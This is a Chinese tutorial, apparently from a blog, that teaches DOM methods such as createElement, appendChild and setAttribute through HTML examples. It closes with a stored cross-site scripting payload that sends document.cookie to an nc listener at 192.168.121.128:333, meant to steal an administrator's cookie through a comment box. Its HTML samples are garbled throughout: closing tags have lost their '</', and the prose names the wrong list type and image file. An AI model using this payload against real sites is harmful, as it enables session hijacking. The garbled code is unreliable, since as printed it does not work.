首先我们来介绍一下DOM中的几个方法
createElement(name)
name参数用来规定此元素节点的名称
此方法会返回一个Element节点,具有指定的标签名name
appendChild()方法
该方法会返回被添加的节点
可以看一下这段代码实例:
<html>
<body>
<ul id="myList"><li>Coffeeli><li>Teali>ul>
<p id="demo">请点击按钮向列表中添加项目。p>
<button onclick="myFunction()">亲自试一试button>
<script>
function myFunction()
{
var node=document.createElement("li");
var textnode=document.createTextNode("Water");
node.appendChild(textnode);
document.getElementById("myList").appendChild(node);
}
script>
<p><b>注释:b>首先创建 LI 节点,然后创建文本节点,然后把这个文本节点追加到 LI 节点。最后把 LI 节点添加到列表中。p>
body>
html>
上面这段代码,创建出了一个li元素,然后把一个文本元素插入到了li元素中,形成了一个列表项插到了无序列表ol中
再来加深一下理解
<html>
<body>
<ul id="myList1"><li>Coffeeli><li>Teali>ul>
<ul id="myList2"><li>Waterli><li>Milkli>ul>
<p id="demo">请点击按钮把项目从一个列表移动到另一个列表中。p>
<button onclick="myFunction()">亲自试一试button>
<script>
function myFunction()
{
var node=document.getElementById("myList2").firstChild;
document.getElementById("myList1").appendChild(node);
}
script>
body>
html>
setAttribute()方法
<html>
<body>
<input value="OK">
<p id="demo">点击按钮来设置按钮的 type 属性。p>
<button onclick="myFunction()">试一下button>
<script>
function myFunction()
{
document.getElementsByTagName("INPUT")[0].setAttribute("value","test"); document.getElementsByTagName("INPUT")[0].setAttribute("type","button");
}
script>
<p>Internet Explorer 8 以及更早的版本不支持此方法。p>
body>
html>
先解释一下上面这段代码中的getElementsByTagName(tagName)方法,看下面的代码
主要想说的就是该方法的返回值,它会返回带有指定标签的对象的集合
就是说,所有带有tagName标签的元素都会被添加到一个集合中作为返回值
<html>
<head>
<script type="text/javascript">
function getElements()
{
var x=document.getElementsByTagName("input");
alert(x.length);
}
script>
head>
<body>
<input name="myInput" type="text" size="20" /><br />
<input name="myInput" type="text" size="20" /><br />
<input name="myInput" type="text" size="20" /><br />
<br />
<input type="button" onclick="getElements()"
value="How many input elements?" />
body>
html>
setAttribute()方法就是对返回的集合中的某个对象的属性值进行设定,在上面的上面的代码中
document.getElementsByTagName(“INPUT”)[0].setAttribute(“type”,”button”);
我们就是对input元素集合中的第一个元素的type属性进行了设置,将input元素的type属性设置为了button
注意:setAttribute()方法每次只能设置一个属性,如果想要设置一个元素的多个属性,需要这样操作:
document.getElementsByTagName("INPUT")[0].setAttribute("value","test");
document.getElementsByTagName("INPUT")[0].setAttribute("type","button");
上面的上面的代码的执行结果是这样的:
在了解了这些方法之后,我们就能知道这句话的意义了:
document.body.appendChild(document.createElement('img')).setAttribute('src','http://localhost/1.jpg') >
我们猜测这段代码会在浏览器中显示localhost/q.jpg这张图片,而结果也正是如此:
现在我们在kali中使用nc监听一个指定端口,比如说333
document.body.appendChild(document.createElement('img')).setAttribute('src','http://192.168.121.128:333'+document.cookie) >
把这句话写进留言区,当管理员在后台查看该留言时,我们就可以在kali虚拟机中接收到cookie信息